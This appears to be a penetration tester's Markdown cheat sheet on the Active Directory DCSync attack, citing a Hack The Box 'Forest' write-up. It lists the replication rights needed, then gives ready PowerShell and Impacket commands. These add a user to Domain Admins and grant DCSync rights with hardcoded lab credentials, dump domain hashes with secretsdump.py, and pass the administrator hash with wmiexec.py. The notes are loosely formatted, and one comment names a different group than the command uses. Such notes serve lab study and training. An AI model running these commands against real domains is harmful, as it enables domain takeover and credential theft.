27 lines
1.8 KiB
Markdown
27 lines
1.8 KiB
Markdown
Port 49667, 445, 135 is used for DC Sync attack
|
||
|
||
## Enumeration (PowerView)
|
||
|
||
## Permission needed for DCSync
|
||
1. Replicating Directory Changes ([DS-Replication-Get-Changes](https://docs.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes))
|
||
|
||
2. Replicating Directory Changes All ([DS-Replication-Get-Changes-All](https://docs.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes-all))
|
||
|
||
3. Replicating Directory Changes In Filtered Set ([DS-Replication-Get-Changes-In-Filtered-Set](https://docs.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes-in-filtered-set)) (this one isn’t always needed but we can add it just in case)
|
||
|
||
`Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -eq 'leon'}
|
||
`One-Liner that will transfer our `owned user` to `“Exchange Windows Permissions”` and we become part of the `DCSync` and `WriteDacl permissions` and then fetch hash with [secretsdump.py](http://secretsdump.py)
|
||
`
|
||
`Reference:
|
||
[HTB: Forest | 0xdf hacks stuff](https://0xdf.gitlab.io/2020/03/21/htb-forest.html)
|
||
```sh
|
||
# Toss up PowerView before running the One-Liner that will give us the DCSync rights.
|
||
Add-DomainGroupMember -Identity 'Domain Admins' -Members wario; $username = "medtech.com\\wario"; $password = "Mushroom!"; $secstr = New-Object -TypeName System.Security.SecureString; $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}; $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr; Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity 'wario' -TargetIdentity 'medtech.com\\Domain Admins' -Rights DCSync
|
||
|
||
# Check if user got added to the group with GenericAll Permission
|
||
net group "Exchange Windows Permissions"
|
||
secretsdump.py svc-alfresco:s3rvice@<ip>
|
||
# Passing the hash
|
||
wmiexec.py -hashes <hash> htb.local/administrator@<ip>
|
||
```
|